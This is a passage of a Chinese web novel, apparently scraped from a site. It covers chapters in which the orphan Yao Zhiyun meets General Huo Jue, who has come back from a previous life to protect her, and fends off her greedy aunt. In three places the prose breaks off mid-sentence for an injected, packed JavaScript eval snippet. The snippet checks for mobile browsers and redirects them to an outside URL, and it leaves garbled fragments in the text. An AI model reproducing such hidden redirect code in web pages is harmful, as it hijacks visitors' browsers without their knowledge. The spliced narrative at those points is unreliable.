《韫色过浓》 1. 他是谁？ 大晋，同光二十年，秋。 姚知韫来到这个世界，整整十年了。 她将书轻轻覆在脸上，闭着眼睛，任由午后的阳光暖洋洋地照在身上，浑身每一处都舒展开，透着一股熨帖的暖。 老槐树的叶子稀稀落落往下掉，是秋日最常见的景，也是她最喜欢的，总是能让她想起刘禹锡的那句‘我言秋日胜春朝’来。 一盏清茶、满园秋光、温暾的日头底下，人总是容易懒，她迷迷蒙蒙的，眼看要睡着了。 “姑娘，姑娘——，”小桃急匆匆地跑进来，气海没喘匀，话也说不连贯。 姚知韫慢悠悠把书挪开，搁在一边，笑盈盈地瞧着小桃跑得红扑扑的脸，顺手拎起茶壶给她倒上一杯，指尖在桌面轻叩两下，扬了扬下巴。 小桃也并不见外，端起杯子一气灌下去，顺了顺胸口，才开口道，“姑娘，霍将军大捷还朝，街上可热闹了，您不去瞧瞧？” 姚知韫只是笑笑，又往摇椅里靠了回去，椅子依着惯性轻轻晃动，斜进来的日影便一跳一跳的，在她素白的脸上明明灭灭。 小桃看得有些出神，她家姑娘生得真好，嘴唇又红润润的，像初绽的桃花瓣。她皱起眉头使劲想，也想不出更恰当的形容，倒把自己弄得怪烦恼的，一时竟忘了要说什么，任由姑娘又那么悠悠闲闲地躺了回去。 半晌，小桃才跺跺脚，将姚知韫脸上的书拿开，“姑娘，霍将军回来了。” 姚知韫无奈地撇撇嘴，望着这个跟了自己十多年的丫头，说是丫鬟，实则当妹妹来疼爱的小姑娘。 “回来就回来呗！”姚知韫并不在意，拿过小桃手上的书又盖回脸上。 她闭着眼，听着午后的风穿过槐叶，沙沙地响，鼻尖是秋阳晒过的书卷气，脑子里闪过书中那些对霍家零散的记载。 自前朝开国，霍家便是‘经学正宗’，素有‘天下文脉，半出霍家’的说法，鼎盛时期更是有‘三世三公’的辉煌，出过两位皇后，多位太子太傅，门生故吏遍布天下，影响力深远。 霍家子弟更是出了名的有风骨，人都说‘清峻’二字，便是从霍家来的，太祖皇帝都曾赞叹，“霍家郎，如玉山上行，光映诏人。” 只是月满则亏，前朝末了霍氏卷入了皇位之争，霍氏支持正统，夺位成功的那位，一上位便对霍氏进行了清洗。 “琅嬛阁”的藏书烧了三天三夜，纸灰扬起，白日如晦，延续几百年的世家，一朝倾覆。 幸存的一支偏远旁系，因无足轻重，得以苟全，但也元气大伤，为避祸，霍氏刻意淡出视野，迁居偏远的陈珺，以耕读为生，族训上更是加上一条，“子孙三代，不得出仕。” 霍氏覆灭，原先被荫蔽着的崔氏，渐渐舒枝展叶，成了如今大晋第一世家。 而霍抉便是陈珺那一支的后人，同光十三年，他状元及第，放榜那日，聚集了天下才子，都在感叹，霍家终于浴火归来。 照理说，本是大好前程的开始，翰林院庶吉士，将来入阁拜相，也不是不可能，可谁也没想到，嘉兰战败后，他忽然弃文从武，上了战场。 只是，霍家为什么在隐蔽百年之后又有人入仕？好不容易入仕又为何弃文从武？给世人留下了一个难解的谜题。 不过，他与父亲的交情倒是极好，论起来她该唤一声叔父，儿时也时常到家中走动，印象中的他总是一袭青衫，父母去世后，他曾经来探望过她一回，留下三十名护卫，其间回京述职又来过一回，也只是匆匆一瞥，倒是年年都送回来很多东西，都是好东西，书房那些孤本珍本，园子里那些珍奇花卉，绫罗绸缎珠宝玉器，更是一箱一箱地送，她退无可退，便也暂时收着。 姚知韫靠在摇椅里，任由秋光透过缝隙在她素白的脸上晃晃悠悠，像水里的萍。 霍抉这个人，自从父母去世后，总是像一片沉沉的影子，一直在她生活的边缘安静地存在着，不远，也不近。 她其实不大记得他的样子，影影绰绰的，只记得最后一次相见，总觉得与儿时见过的那个人不太一样，变得阴沉沉的，浑身透着一股寒气，像从什么阴暗的地方刚爬出来，眉宇间都凝着霜。 他此次回京为的是甘州大捷，擒了羌族头领，献俘阙下，本就是武将顶体面的事，只是他亲自回来献俘倒有些意外。 不过，献完俘，皇上赏过了，大约还是要回边关去的，那里是武将最好的归宿。 姚知韫总觉得霍抉定是会回来看她，想着等他来的时候，把话说清楚。那些年送来的东西，零零总总的，堆了两间房了，这次务必要还给他。搁在她这儿，总不是个事。 只是……那些花的种子，倒是都种下了。就算她替他保管东西的报酬，两下里都不亏欠。 这么一想，心里便松快很多，往后山高水远，他是鹰，总要飞回苍凉阔大的北地去；她是檐下的雀，守着这一角庭院，晒晒太阳，看看书。怕是再难有交集了。 秋光又移了一寸，暖意透过薄薄的衫子，熨在皮肤上，舒坦得很。院子里静极了，能听见叶子落在地上的声音，轻得几乎没有。 这姚府里，往后还是只她一个人。 她闭了眼，嘴角微微弯了弯。 惯了，倒也清净。 姚知韫还记得，她醒来的时候四岁，姚家就她一个独女，爹娘疼得恨不得把天上星星摘下来，院子里槐花开了又落，三年时间转瞬即过，这三年却是她过的最舒适的三年，似乎够她捂着过一辈子。 前世的她，七岁被诊断出白血病，爸妈倾家荡产救治她，可她的病反反复复，拖了十多年，吃过多少药，扎过多少针自己也不记得了，爸妈也累了，倦了，后来她听到最多的便是他们的争吵，再后来更是再也没有见过爸爸的面，她撑着最后一口气拔掉氧气管，那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17099265|195694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一刻她在母亲的眼底看到了解脱。 重活一世，原本以为终于可以好好活着，可七年前羌族入侵嘉兰，父亲战死，母亲病逝，一时间她变成了孤儿，有时候她也会想，是不是她就是那种天煞孤星的命格，无论是前世今生她都没有亲缘。 姚家败落后，旁人同情一阵子，日子依旧，便也淡了，如今再提起也不过一声唏嘘。 而她，就这么和小桃相依着，过了七年。 小桃还在耳边叽叽喳喳，说着街坊间听来的、关于霍将军的种种传闻。姚知韫嘴角仍噙着那抹淡淡的笑，只觉得日头似乎暗了些，风刮过来，脖颈里凉津津的。 她缓缓起身：“小桃，去瞧瞧我晒的那些菊花怎么样了。” 小桃的话头戛然而止，噘起嘴，瞅着自家姑娘这满不在意的模样，终究是无奈地一跺脚，转身去了。 耳朵总算清静了，姚知韫长长地吁了一口气，心想小桃也不过十多岁的孩子，怎么就话这么多，如此想着，心下也没了再躺下去的兴致，索性站起身，伸了个懒腰，准备到厨房看看她蒸的海棠花糕。 一转身，入目的却是一双男人的靴。 视线缓缓上移，他好高，怕是有一米九，身穿铠甲，满面风霜，姚知韫不自觉地后退了两步，才看清来人。 怎么形容呢？金灿灿的铠甲，胸前系着赤红色的甲绦，身后绛红色的战袍随风一起一落，一杆长枪背在身后，枪缨子也是暗红色的。 不用猜也知道，这便是那位霍将军了，姚府的侍卫都是他当年留下的，这些侍卫功力如何，端看这么多年，姚府即便只剩下她一个孤女，也无人敢上门欺辱便知道了，能这般不声不响进到内院的，不作他想。 姚知韫便又退了两步，屈膝微微一福，“霍将军安好。”她不惧的迎着他的目光，却又疑惑，霍抉看她的眼神，不像是一个世交孤女，倒像是看一件失而复得的战利品。 可她的印象中，他们并无过多的交集。 为何？ 等了半晌，没听见回应，她便自行直起身来，抬起头便看到他就那么定定地看着自己，眼睛也不眨。 姚知韫不自觉地打量了一下自己，嫩黄的短衫，配上碧青色的百褶裙，发丝用一根发簪轻轻绾起，是她居家惯常的打扮，若说见客不算隆重，却也并无不妥，为何他不说话？ 霍抉就那么定定地站着，一动不动地看着她。 终于，他终于又看到她了，恍若隔世。 她依旧是那么娴静的样子，笑意淡淡的，不深不浅，仿佛脸上不会再有第二个表情，她对谁都是这样笑，可对谁都是淡淡的，她不争不抢，不怒不悲，明明是个十多岁的小姑娘，却好像几十岁的人一般，无欲无求的，哪怕死前也只是给他捎来一封信，只请他照看好小桃。 如今，一切都回到从前。 这一回，他必须护住她。 2. 我回来了 “韫儿——，”霍抉终于开口，沙哑着嗓子，扯着一副不算笑意的笑容，伸手想摸一摸她的发顶，“长大了——。” 姚知韫后退躲开，心下却是暗想，韫儿？叫她吗？他们——很熟吗？ 霍抉的手僵在半空，微微一怔，便收了回来，也并不恼。 “韫儿，我回来了。”他又说，还是一派熟稔的语气。 姚知韫微微有些恼怒，不着痕迹地翻了个白眼，回来就回来，与她有什么关系？不过面上还是淡淡地说，“欢迎霍将军，回京。” “姑娘——，”小桃捧着一笸箩的菊花走了进来，瞧见院子里站着个陌生男人，惊得将手中的笸箩往边上一撂，快跑几步挡在自家姑娘身前，即便双腿打战，人却挺得直直的 “你是何人？怎么能擅闯将军府。” 霍抉淡淡地扫了一眼小桃，绕过她，径直端起了桌上的茶盏。盏里是姚知韫方才喝剩的半盏残茶，早凉透了。他仰头便饮尽了。 姚知韫抬手想拦——“那是我……”， 话没说完，杯子已见了底，他放下茶杯后，极其自然地将杯柄转向她习惯的左手方向。 姚知韫眼底微光轻闪，心中疑惑更深，“他是如何知道我惯用左手？”以往右手常常扎针，也就养成了左手拿东西的习惯，即便来到这里，这个习惯也并未改变，即便是小桃也没有注意过她这个习惯。 姚知韫眼底冷光轻闪，看来，这姚府也是个筛子，只是这个人，凭什么？ 压下心底的不悦，抬眸时，她已经恢复了惯常的淡然。 “霍将军请随意。”话音刚落，转过身，“小桃，杯子扔了，脏。” 外院忽然闹哄哄起来，管家风叔急匆匆地走了进来。 “姑娘，外面——。” 话还未说全，霍抉倒是率先一步上前，大手一挥，“风叔，外面都是皇上的赏赐，让韫儿收着玩。” 风叔这才看到霍抉站在院中，忙上前见礼，“霍将军安，” 姚知韫眉尾轻挑，带着讽刺，便要拒绝，“霍将军，这怕是不合礼数。” 霍抉并未给她说下去的机会，便从怀中掏出一本大红封皮的账册，递到她跟前，“清点一下。” 姚知韫深吸一口气，看着那本大红账册，又退了半步，就那儿倔强地看着霍抉，就是不接。 霍抉也不强求，转手将册子递给风叔，“风叔，收好。” 风叔略显犹豫，虽说这姑娘是姚府的主人，可七年前老爷托孤场面，他是亲眼见过的，老爷亲口将姑娘托付给霍将军，这些年来，府中里里外外外的人手用度，哪一样不是霍将军的人打点？他看了姚知韫一眼，终究还是双手接过。 准备像以往一样，清点入库，却在瞥见姚知韫倏然冷下的目光时，将手缩了回去。 说来也怪，姑娘平日里都是笑盈盈的，什么也都不在意，可风叔心里明白，姑娘是个极有主见的的人，若不是她暗中撑着，这姚府在京中怕是早就无立足之地了。 霍抉反倒笑了。 果然还是那个韫儿，看着闲散，实则倔得很，她不愿意做的事，任谁也勉强不了她，她不争不是争不过，多半是不想争。 他也不强迫，只是抬高了声音，“青木，” 话音刚落，一个身着铠甲的小将便伶俐地跑了进来，“将军。” “将东西放下，人撤出去。” 青木领命退了出去。 怒极反笑说的便是此刻的姚知韫，他这是把这里当成自己的家了，他霍抉的府邸可不在这里。 她懒得再理会，径直绕过霍抉，朝里屋走去，走到半路才想起来她是想去厨房，这么一耽搁，糕点怕是要蒸干了。 霍抉嘴角噙着笑，望着她离去的背影。 但凡她当年如此这般，懂得争取，也不至于落那样一个的结局。 他依稀还记得她冰冷的尸体抱在怀中的感觉，没有一丝的热气，沉甸甸的，冰冷的，那一刻，他什么念头都没有了，只觉得空，空的发慌。 他虽心存死志，可那高高在上赐婚的皇帝还好好活着。 于是，他便也活着，步步为营，蚕食蚁噬，将那看似铁桶一般的皇权，慢慢掏了个空。最后，皇帝是叫他用一盏毒酒送走的。幼帝登基，他位及人臣，却再也没有了活下去的理由。 后来，他撬开她的棺椁，生不能同床，死，总要同穴。 只是不成想，再睁开眼，兄长已故，而她还好好的活着。 而这一次，不一样了。 他要护住她。干干净净、周全妥帖地护住。还有那些曾经伤过她的人，那些冷眼、那些算计、那些推波助澜……总要一笔一笔，慢慢算清楚。 想到这儿，那股子从骨头缝里渗出来的寒气，又漫了上来。 连走在前头的姚知韫都似乎察觉了什么，轻轻打了个颤，转头唤小桃： “起风了，去拿件披肩来。” 霍抉瞧着那道绷紧脊背的背影，想着她脸上那些明晰的情绪，倒比平日里装出的那份淡然，要生动得多，也鲜活得多。 从第一次见她起，她就格外不同。明明才五六岁的小人儿，眼神却静得出奇，像是千帆过尽，透着与年纪不相称的淡然。 他每每与兄长讲话，她便安安静静的待着，他有时兴起，也会逗她玩。将军曾半开玩笑，让她认他做干爹。不知怎的，他想也没想就拒绝了——现在想来，或许那时心里，他想做的就不是“长辈”。 后来姚兄战死，苏家嫂子随后也跟着去了，姚府只剩下她一个孤女，她只有七岁，冷静的处理着父母的身后事，从始至终没有掉过一滴眼泪，世人都说她冷漠，她也不在意。 直到，那日，他听到槐树上传来的压抑的哭声，她小小的身躯被槐树叶子挡得严严实实，他就站在不远处，看着她，可能是知道院子里没有旁人，哭声渐渐大了起来，他忍着拥她入怀的冲动，任由她哭的痛快，他知道，一旦他出现，她便又会缩回那个淡然的壳子里。 他从地狱里爬回来，只是为她，可他不能只是带着她离开，她身边的那些觊觎，阴谋，他都必须要一点点的铲除，他看过卷宗，嘉兰之战，疑点重重，姚兄那样稳妥之人，怎么会不做任何布局，就贸然出战，他必须要弄清楚，永绝后患。 而且，在这乱世想护住她，空有心思怎么够？得有实打实的权柄。所以，兵权，他势在必得。 于是他便丢下笔墨，握了刀枪。将京中诸事安排妥当，留下人暗中看顾她，便奔赴疆场。 他必须在她及笄之前赶回来，七年，他只有七年的时间。 战场上，他几乎是不要命的厮杀，才攒下这一身累累战功，从无名小卒一路挣到镇北将军的位置。 如今，他总算回京了，有了功名，也有权柄，接下来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17099266|195694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要筹划的便是如何将她纳入羽翼之下。 毕竟，他名义上，是她的“叔父” 他可以什么都不在意，什么声名，什么霍家，可她却是他护在掌心里的宝，他不允许她有一丝一毫的伤害，必须让她堂堂正正立在这世间，她要风风光光的进他霍家的门。 这件事，谁也不能阻拦。 谁也不能。 姚知韫怎么也不能想到，霍抉竟然就那么理所当然地住进了她的家，虽说住在外院，可却也有诸多不便。 比如现在，姚知韫低着头，小口小口喝着碗里的栗米粥，粥熬的稠稠的，就着半块昨日蒸好的海棠花糕，还有一小碟自己腌的咸菜，她吃的不紧不慢，只是平日里能吃完的小碗粥和花糕，今日只吃了半块，便搁下筷子。 抬头瞥了一眼坐在对面，吃的欢快的霍抉，胃口便彻底地散了，将剩下的半块花糕放在碟子边上，想着饿了再吃，总不好糟蹋了。 今日的他，褪去铠甲，一身雨过天青色的直裰，料子是寻常的棉布，穿在他身上显得十分挺阔，坐在圈椅上，像一棵经了霜雪却依旧笔直的青松，却不是庭院里修剪得宜的那种，是长在崖畔，迎着风也能稳住根骨的。 正想着，小桃迈着碎步跨进门来，“姑娘，苏姨母来了——。” 姚知韫微微一怔，旋即笑开来，“来的挺及时，” 她的这位姨母，和她的母亲是同父异母的姐妹，性子却是南辕北辙，她的母亲是真正的大家主母，一言一行一颦一笑，都彰显大家风范，可这位姨母却是个眼皮子浅的，见什么都好，便什么都想往怀里拢。 母亲刚去世的前几年，她每回来，总要拿走一些东西，后来见霍抉送回来的东西越来越多，更是起了把持姚府账目的心思，若她真的只是个七八岁的孩子，怕是早就被这位姨母吃干抹净，骨渣都不剩了。 费了些心思，叫她消停了几年，如今她年岁渐长，到了该议亲的时候，这位姨母又像逢春的草，上蹿下跳的蹦跶起来，想要用她的婚姻来给自家谋些好处。 如今霍抉回来了，还住进了姚府，怕是又来攀亲了，姚知韫不着痕迹的轻叹一声，又看了看对面的霍抉，也罢，总归是要见的。 “请姨母到偏厅用茶，”说完，她便抬眼看着霍抉，眼中明晃晃的闪着‘你该走了’几个大字。 霍抉望着那双水波流转的眼眸，怔怔的失了神，在姚知韫的指节敲击下才回神，恍然似的，伸手便将她吃过的那小半碗粥端起来，咕噜噜倒进自己嘴里，又将碟子边上那半块花糕一并塞进口中，这才站起身。 “你——。”姚知韫一时语塞，不知是该气还是该恼，这是她吃过了的东西，别说是在这规矩森严的大晋，便是搁在前世，也没有人能将旁人吃剩的饭菜，咽得这般理所当然、毫无芥蒂。 “军营里粮食紧缺，”他嚼了两下，喉结一动，便都咽了下去，“糟蹋不得。” 姚知韫心中的那股火被堵得发不出来，他的理由正经又充分，甚至她都没有反驳的余地，似乎在矫情下去，倒是她的不对了，可什么都不说，又太窝火。 又想着偏厅还有了讨人厌的姨母，便也没时间跟他计较那么多，她有些不自在地转过身出了膳堂。 姚知韫没有瞧见，在她转身之后，霍抉脸上的笑意，一点一点收了个干净。 也没有瞧见，他眼底翻涌起来的，压不住的戾气。 3. 苏姨母 苏姨母。 前世，她那样的结局，这位“苏姨母”可是功不可没。 他知道她聪明，有手段。可她的骨子里太傲，太干净，对那些阴沟里的伎俩，从来都是不屑的。只要不踩着她的底线，她甚至不会反击，但一旦触到她的底线，她的反击便是明火执仗，宁可把自己也烧进去，也要撕开对方的锦绣皮囊。 所以她才选了那样一条路，抱着玉石俱焚的决心，敲了登闻鼓。 英国公府那些见不得光的事——宠妾灭妻，谋夺嫁妆，杀人夺妻——被她一桩桩、一件件，抖落了个干净。皇上震怒，削了英国公的爵，可她自己，也生生挨了二十脊杖。 那么单薄的身子，哪里经得住。 后来，便一病不起。弥留之际，只强撑着给他写了一封短短的信。没有怨恨，没有不甘，只托他照看好小桃，仅此而已。 这样美好的人，对上那自私自利的姨母，怕也是不屑用什么曲折手段的。她大概只会将人挡回去，图个眼前清净便罢了。 她再通透，终究是闺阁里长大的女子，哪里真晓得‘百足之虫，死而不僵’的道理。像苏姨母那样的人，沾上了，便该一次将她按死在泥里，叫她永世翻不得身，才能绝了后患。 不过，没关系。 这些事，往后都可以由他来。 他的手早已浸满鲜血，洗不干净了，不介意再多几分污浊。至于她，就干干净净地待在日头底下，做她想做的事情，看书，喝茶，赏她的花。 可以肆意妄为，亦可淡然自在。 那些阴湿的、污糟的，他来料理便是。 姚知韫望着苏姨母那眼底藏不住的贪婪，那两片不住开合、唇色猩红的薄嘴唇，还有四下里飞溅的唾沫星子，默默地垂了眼。 她盯着眼前那盏松萝茶，茶叶在热汤里舒展得正好，是顶好的新茶。心里却只觉得可惜——这样好的茶，被那飞沫衬着，是断然喝不进去了。她用盏盖轻轻撇了撇浮叶，便搁回了桌上。 “苏姨母今日来，是有何事？”姚知韫不经意地整理着并不凌乱的衫子，淡淡地问。 苏姨母看着坐在上位的姚知韫，心里的嫉妒不断地啃噬着她，这些原来都是她的，父亲偏心苏璟岚，将半个苏家给了她，等她出嫁的时候却只有十万两银子，让她在冯家抬不起头。 她攥紧掌心，指尖戳破掌心才勉强压住眼底的恨，笑着开口。 “韫儿，”苏姨母刻意地亲近让姚知韫颇为不自在，却还是忍着听她说完。 “霍将军毕竟是外男，住在府里，总是不合礼数，传出去对你的名声也不好。依我看，不如你收拾收拾，到姨母家住些日子。等霍将军离京，你再搬回来。” 姚知韫只低着头，手指头绕着帕子尖儿玩，一声不吭。 苏姨母看着她一副油盐不进的模样，心下的火又一次翻涌起来，可还是压着心中的气，放柔了声音。 “我可是你嫡亲的姨母，还能不为你的名声着想？” “你一个快要及笄的姑娘家，身边没个长辈照应，总是不像话的。” 苏姨母心里瞧不上姚知韫的小家子气，半点比不上她家嘉儿那般大方得体。 “到了冯府，有嘉儿陪你，平日里出门走动、见见世面，总比一个人闷在这宅子里强。” 姚知韫忍不住抬手，轻轻揉了揉额角。冯嘉，那位骄纵的冯家三小姐？大约也只有苏姨母觉得她样样都好。 “家里来了客，哪有主人反倒避出去的道理。”她淡淡的支应着，目光又落在茶盏上，心里还是觉得那茶着实有些可惜了，要叮嘱小桃，下次苏姨母来，一定不能上这么好的茶。 “那……姨母搬过来陪你住也是一样的！”苏姨母话锋一转，目光却像生了钩子，将这厅堂里的摆设、屋宇的梁柱，一寸寸地勾了过去。 姚家虽是败落了，仆役也散得七七八八，可当年她那位嫡姐苏璟岚出嫁时，几乎带走了半个苏家的体面。苏家是商贾巨富，银子堆山塞海，更别说主母那些压箱底的陪嫁，也都跟着嫡姐进了姚家的门。这姚府里头究竟还藏着多少家底，她心里是有一本账。 更何况嘉儿比这丫头大两岁，马上就该议亲了，冯家不过是个正六品的礼部精膳司主事，若想攀上英国公府那门亲，没有一份厚厚的嫁妆压轿，是绝无可能的。 只是英国公府瞧上的却是姚知韫这丫头，不过她心里也清楚，国公府看上的不是人，只是她身上的钱罢了。只要这些钱都是嘉儿的，嘉儿还怕嫁不进英国公府吗？只要和英国公府攀上亲家，老爷就能从精膳司调往仪制司，还不是水到渠成？ 苏姨母眼珠流转，要如何才能将姚家留给这丫头的嫁妆，名正言顺地转到嘉儿名下？ 恰好霍抉进京了，还住进了姚府，她就想着机会来了，只要姚知韫住进冯府，她总能拿捏，实在不行就在冯家随便找个庶子，娶了她，别说嫁妆，整个姚家的都是她的，一举两得。 她心里盘算得火热，脸上却堆满了慈蔼的笑，仿佛真是一片冰心在玉壶。 “姨母，今日来，是有什么要紧事吗？”姚知韫轻轻一句话，便将苏姨母那些心思给截住了，话里话外的意思明白得很，方才那些都不算事，若是有事便说事，没有的话，她就该送客了。 苏姨母一时气结，她说了那么多，口干舌燥，敢情这丫头一句都没听进去，每回她来，都好像一拳打在棉花上，要么就是不答一味的笑着，要么就是不咸不淡的回两句不着边际的话，等她说觉得无趣了，讪讪离去。 只是今日，她倒真有一桩事体。 “喏，这是英国公府的请帖，”她从袖中取出一份泥金帖子，放在桌面上，“八月初十，府上办了赏菊宴，原是单请了嘉儿，我想你们姐妹一场，总不能让你一直拘在府中，便舔着脸替你也讨了一份，到时候你同嘉儿一道去。” 姚知韫心里冷笑，真有这般好心？怕不是英国公府要请她，苏姨母顺带着将冯嘉塞进去罢了，况且，英国公府若诚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17099267|195694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心邀请，帖子合该直接送到姚府来，怎会经她的手？不过是想用用这层身份来拿捏她罢了。 她父母皆亡，舅舅又远在江南，她是没见过，这京中明面上能作为长辈的，也就眼前这一位了，她若是真的由着姨母领着去了英国公府，落在旁人眼里，便是一个信号，这位姨母在她这里能做几分主。 再说，那里的菊花，难不成会比她院里那些开得更好？ 知道她爱侍弄花草，霍抉这些年天南地北地搜罗，什么稀奇的花种、名贵的花木，但凡能寻到的，都不惜代价给她送了来。她这姚府的园子，瞧着清寂，里头藏着的珍品，怕是连宫里也未必齐全。 她本也没心思与那些权贵人家周旋，她一个孤女，有什么值得那些权贵在她身上花心思？她身上能图的也就是钱了，她心中泛着冷意，烦躁也随之而起。 她不想惹事，只想安安静静地活着，她也从未想过要嫁人，本想着等再过些年岁，便将这姚府宅院一卖，带上银钱，四处走走看看。走到哪里，若是喜欢，便在那儿停一停，住上一段日子。 父母留下的家底，足够她安安稳稳过完这一辈子了。 既然不愁吃穿，又何必非要给自己寻些不痛快呢。 上辈子，拘于病床，哪儿也去不了，如今好不容易有个康健的身体，若还要像旁人一般，一辈子拘在内宅院里，岂不就辜负了老天爷让她重活一世了。 她想去看看霍抉信上说的大漠孤烟，长河落日。 也想去看看书上描绘的，凌渡山埋过人膝的雪，江南的小桥流水，梓州的浩瀚江河。 她都想去走一走，亲眼看一看。 可这些人非要算计到她头上，非要给她找不自在，如今又来了个霍抉，强硬的侵入她的生活，帮她安排着一切，以一个守护者的身份。 苏姨母还想说些什么，突然瞥见姚知韫那冷冷的眼神，那些叨叨不绝的话语竟然倏然停住了。 只能便重重地将杯子放在桌面上，发出”砰“的声响，“总之，帖子已送到，那日我来接你。” 说完，又在厅内扫视了一圈，目光停留在墙上的那幅画，那画她是认识的，是父亲书房里挂着的前朝韩湘的手笔，价值千金，母亲曾多次向父亲讨要这幅画，都未成功，没想到竟然出现在这里。 “韫儿，你彭表哥最近正在学画，不如这幅画让我拿回去给他临摹。”说着便要上前摘下来。 姚知韫眼光微闪，前几天她发现那里有一块墙皮脱落，而她又不方便让外男进来修补，便在从她临摹的画里随便找了一幅遮挡，竟然就被苏姨母惦记上了。 “彭表哥学画自然是要和名家学习，我这些都是不入流的，不要影响了彭表哥才好。”即便是假的，她也不想便宜了苏姨母。 苏姨母还想说些什么，姚知韫便拔高了声音，“小桃，送客。” 送走了苏姨母，风叔又来报，给霍抉的圣旨来了。 只是这圣旨的内容，却出乎了所有人的意料。 4. 第 4 章 霍抉封了‘赤衣侯’，留京任用，领京营提督职，正儿八经的一品大员。随着圣旨一同赐下的，还有一座气派的侯府，只是这府邸竟然就在姚府的隔壁，而在侯府修缮完工之前，霍抉暂居姚府。 这在整个大晋都是史无前例的。 霍抉手握七十万大军，横扫整个北境无人能敌，一杆银枪镇得关外不敢南望，这样的人，皇帝怎么能安枕，绝大多数人会以为封个爵位，再给个闲职，放在眼皮子底下才踏实。 最后将会有几场战争，朝中选拔新的将领，慢慢的分解他的兵权，到时候也就剩下一个名头而已。 却没想到，皇帝非但没有夺了霍抉的兵权，反倒又把京营的兵权交给他了。 京营的十万大军，那可是大晋最精锐的军队，皇帝等于将京城与自己的安危都托付给他，历来这个位置，非天子心腹，是绝做不上去的，京中多少人盯着这个位置，突然落在霍抉的头上。 这下，京中多少人要坐不住了。 皇上这步棋，究竟是怎么想的？八十万大军在霍抉手上，他若是想反，那可是轻而易举的事情，如今的皇权摇摇欲坠，想要找个理由可太容易了？ 皇帝会那么信任霍抉？姚知韫不信。定然是留着后手的。 手中攥着圣旨，沉甸甸的，最重要的圣旨里说了，侯府修缮完成之前，霍抉要住在她家，这是圣旨，不让住，便是欺君，姚家就和霍抉拴在一根绳上了。她哪还有什么清净日子。 凭什么？ 他自有堂堂将军府，高门大院不住，偏要挤到她这冷冷清清的旧宅里来，算是哪门子道理？ 姚知韫瞪着端坐在圈椅上的，悠闲自在的“赤衣侯”，她觉得心中的烦躁一阵一阵往上顶。 “韫儿，是在担心我吗？”霍抉的表情自顾自的染上了愉悦。 “我为什么要担心你？”她没好气的回，重重的坐回椅子上，端起茶盏抿了一口。 “烫——，”霍抉一个跨步过来，夺过杯子，看着有些泛红的指尖，他托着她的手，小心翼翼的低头吹着，眼底泛起的心疼再也藏不住。 姚知韫从他温热的掌心抽出自己的手，摩挲了有些刺痛的指尖，没来由的眼圈泛红，心底的委屈像井沿渗出的水，慢慢洇开。 她真的只是想简简单单的活着，不想和任何人牵扯任何的事。 更别说皇权，阴谋，那些东西太重，她担不起。 她如今虽然不怎么出门，前世大部分时间也是在病床上，没正经上过几年学，可她读过的书，虽不敢说汗牛充栋，也着实有一肚子乱七八糟的见识。更何况老天爷关上她的一扇门，势必会打开一扇窗，她偏生有过目不忘的本事。 只是躺在床上久了，心气一点点的给磨平了，人一旦断了念想，便不会再失望，反倒得了一份畸形的平静。 她当然知道如今的大晋到底是什么样子的。 这几年皇帝听信谗言，多少文臣武将都折在了朝堂的波诡云谲里，如今的大晋烽火不断，国力渐衰，皇帝昏庸，宦官当道，这般光景下，江山如何守得住，江山守不住，受难的只能是百姓。 皇帝不作死，梓州以北那十三州，就不可能丢，如今梓北的防线，只剩下一道五行山做屏障，五行山虽地势险要，八陉雄关也易守难攻，可那里距离京城太近，仅有三百里，若是八陉雄关突破，敌人几个时辰便能直抵京城。 要不然，皇帝也不会将十万京营全部调换成精锐，不就是怕一旦八陉雄关突破，京中还能有抵抗的能力，可那些精锐终究只是他以为的。 可他们神仙打架，凭什么要将她拖入漩涡。望着霍抉那一脸的愉悦，姚知韫再次陷入躁动。 这个人到底知道不知道，自己如今面临着什么局面？ 霍抉坐在这个位置上，想要安全，势必得做个孤臣，可如今他手中的权力，又如何能置身事外，独善其身呢？ 更何况还有御司监的赵虢。 赵虢可是皇帝身边的大太监，皇帝要用他来牵制外头的世家，便不得不把要命的权柄交到他手上，这赵虢便是皇帝的另一只手，御司监养一批死士，做些见不得光的事，这些年盛宠不衰，行事更是没了顾忌。 如今的赵虢，权势滔天，朝野上下，没人敢轻易招惹。 霍抉坐在这个位子上，等于一脚踩进了旋涡最中心。他若一直待在边关，手握重兵，任凭京城里头的风往哪边刮，终究撼不动远在千里外的根基。 那他为何要回来？难道他已经决定站队？若是，他又会选谁？ 皇帝年龄大了，总是要为下一任皇帝铺好路，看眼下这情形，无论是赵虢还是霍抉，显然都不是皇帝留给下一任君主的人选，不然这收买人心的机会，该留给新君去施舍。 